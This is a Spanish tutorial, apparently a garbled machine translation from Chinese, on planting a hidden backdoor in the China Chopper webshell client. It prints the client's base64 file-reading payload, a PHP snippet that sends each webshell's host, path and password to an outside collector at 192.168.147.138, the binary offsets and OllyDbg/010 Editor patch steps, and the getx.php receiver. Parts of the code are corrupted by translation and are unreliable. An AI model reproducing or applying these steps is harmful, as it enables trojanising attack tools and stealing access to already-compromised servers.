Red de conocimiento informático - Conocimiento informático - Cómo agregar una puerta trasera oculta a un cuchillo de cocina chino

Cómo agregar una puerta trasera oculta a un cuchillo de cocina chino

1. Cómo se activa la puerta trasera

Aquí primero deberíamos hablar sobre cómo se activa la puerta trasera del cuchillo de cocina. Una vez que sepamos cómo se activa la puerta trasera, será más fácil seguir las ideas a continuación.

Después de volver a conectarnos al servidor de destino, a menudo hacemos clic derecho para ver el archivo en la lista de archivos, como se muestra a continuación

Cuando hacemos clic derecho para editar el archivo, nuestro Se activará la puerta trasera (queremos agregar una puerta trasera oculta).

2. Descascarado de cuchillos de cocina

Antes de analizar el cuchillo de cocina, primero use Peid para saber que el cuchillo de cocina está desgranado por UPx. Es hora de desembolsar.

3. Vea los paquetes de datos y analice el proceso (haga clic derecho y edite)

Configure el entorno localmente, haga clic derecho en el cuchillo de cocina y edite para ver un determinado y use burpsuite para capturar el paquete,

Los datos son los siguientes

a=40eval0128base64_decode2824_ POST5Bz05D29293Bamp;z0= QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdC gwKTtAc2V0X21hZ2 ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi02BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfU E9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlY WQoJFAsZmlsZXNpemUoJ EYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw 3D3Damp;z1=QzpcXHdhbXBcXHd3d1xccm9ib3RzLnR4dA3D3D

One*** tiene 3 parámetros,

in La URL decodificada en @eval (base64_decode($_POST[z0]));

La primera URL de z0 se decodifica y decodificado en base64 como

@ini_set("display_errors", " 0"); @set_time_limit(0); @set_magic_quotes_runtime(0); ($_POST["z1"]); $P=@fopen($F, "r"); echo($P, tamaño de archivo($F))); "|lt;-"); die();

Z1 Primero decodifica la URL y luego usa base64 para decodificarla en

C:\\wamp\ \\www\\\robots.txt

Algo familiarizado con PHP Cualquiera debería saber que este código es un script php que lee un archivo, se envía mediante un helicóptero al servidor de destino y luego se ejecutado en el servidor de destino. Dado que el código se envía al servidor de destino como una cadena, podemos agregar el código que se ejecutará a la cadena y luego enviarlo al helicóptero para su ejecución.

if(@$_COOKIE['f1']! =95){@setcookie('f1', 95); @file_get_contents('http://192.168.147.138/getx.php?caidao= '.$_servidor[http_host].$_servidor[request_uri]'.

_P='.key($_POST));}

Si enviamos el código anterior como una cadena al servidor para su ejecución, podemos obtener la dirección y la contraseña del webshell.

4. Utilice OD para el análisis

Utilice OD para abrir el helicóptero chino y haga clic derecho para buscar cadenas. Los resultados son los siguientes:

Ubicar. el lugar donde se leen las cadenas en PHP. Text, haga clic para ver el código

Como puede ver, el programa inserta la cadena en la pila como parámetro, que es procesado por la función If posterior. Agregamos nuestro código de puerta trasera a esta cadena, el programa lo enviará como un segmento. Si agregamos nuestro código de puerta trasera después de esta cadena, se enviará al servidor segmento por segmento para su ejecución.

5. Modifique el archivo del programa del helicóptero

Como se puede ver en lo anterior, la dirección de esta cadena es 0x49ba94. Verifique los datos de la memoria y encuentre la dirección de esta cadena. /p>

Este último ha sido ocupado por él (el resultado de ver directamente el archivo binario original es el mismo). Si agregamos a la fuerza una cadena de puerta trasera después de esta cadena, se destruirá parte del contenido remoto. Por lo tanto, necesitamos encontrar otro espacio libre más grande y colocar el código de puerta trasera aquí.

Aquí seleccionamos el espacio en la dirección 4841d0h, que equivale al desplazamiento del archivo 841d0h.

Colocar cadena de puerta trasera

$F=base64_decode($_POST["z1"]); $P=@fopen($F, "r"); $P, tamaño de archivo($F)));@fclose($P);if(@$_COOKIE['f1']! =95){@setcookie('f1',95);@file_get_contents('http: / /192.168.147.138/getx.php?caidao='.$_server[http_host].$_server[request_uri]' _P='.key($_POST));}

Ponlo en el archivo 841d0

Abra 010editor y copie la cadena anterior en 010editor.

Dado que la cadena en el programa se almacena en bytes dobles, también necesitamos convertir el código de puerta trasera a bytes dobles. conversión ditor-tools-convert

Utilice 010editor para abrir el programa chopper, salte al desplazamiento 841d0h, sobrescriba la cadena convertida y reemplácela con datos de la misma longitud que el programa chopper,

Guarde el archivo para que la cadena de puerta trasera se agregue al programa.

6. Utilice OD para modificar el código del programa

Utilice OD para abrir el programa del helicóptero y coloque la cadena en el paso 4 en la pila en el código push 0049bae4.

La dirección 0049bae4 es la ubicación de la cadena antes de la modificación. Ahora la cambiamos a la ubicación geográfica de la cadena que agregamos. El desplazamiento del archivo de cadena es 841d0h. El desplazamiento de memoria convertido es 4841d0h y el código se modifica de la siguiente manera

Guarde el archivo modificado.

7. Pruebe los resultados modificados

Después de modificar el archivo, veamos cómo hacer clic derecho en el helicóptero para editar y capturar paquetes

Z0 descifrado como

p >

@ini_set("display_errors", "0"); @set_time_limit(0); @set_magic_ quotes_runtime(0); echo("-gt;|");; z1 "]); $P=@fopen($F, "r"); echo(@fread($P, tamaño de archivo($F))); @fclose($P); if(@$ _COOKIE['f1 ' ]! =95){@setcookie('f1', 95); @file_get_contents('http://192.168.147.138/getx.php?caidao='.$_server[http_host].$_server[request_uri]'. _P ='.key($_POST));};echo("|lt;-");die();

Vea que nuestro código de puerta trasera también se envía al servidor para su ejecución.

Escribe getx.php con una lista plus para recibir los resultados,

getx.php:

lt;?php

$ getx = $_GET["caidao"];

$file = fopen("getx.txt", "a ");

fwrite($file, $getx); /p>

p>

fwrite($file, "\r\n");

fclose($file);

Los resultados son los siguientes: siguiente:

8. postscript

Se puede ver en la prueba que las formas de los troyanos asp, aspx y php Jsp con puertas traseras son diferentes, por lo que es más difícil agregar puertas traseras. . Además, dado que la puerta trasera se ejecuta en el lado del servidor, no es fácil descubrirla. La captura de paquetes local no puede detectar la puerta trasera; OD no puede ver directamente la dirección de la puerta trasera haciendo clic derecho sobre ella.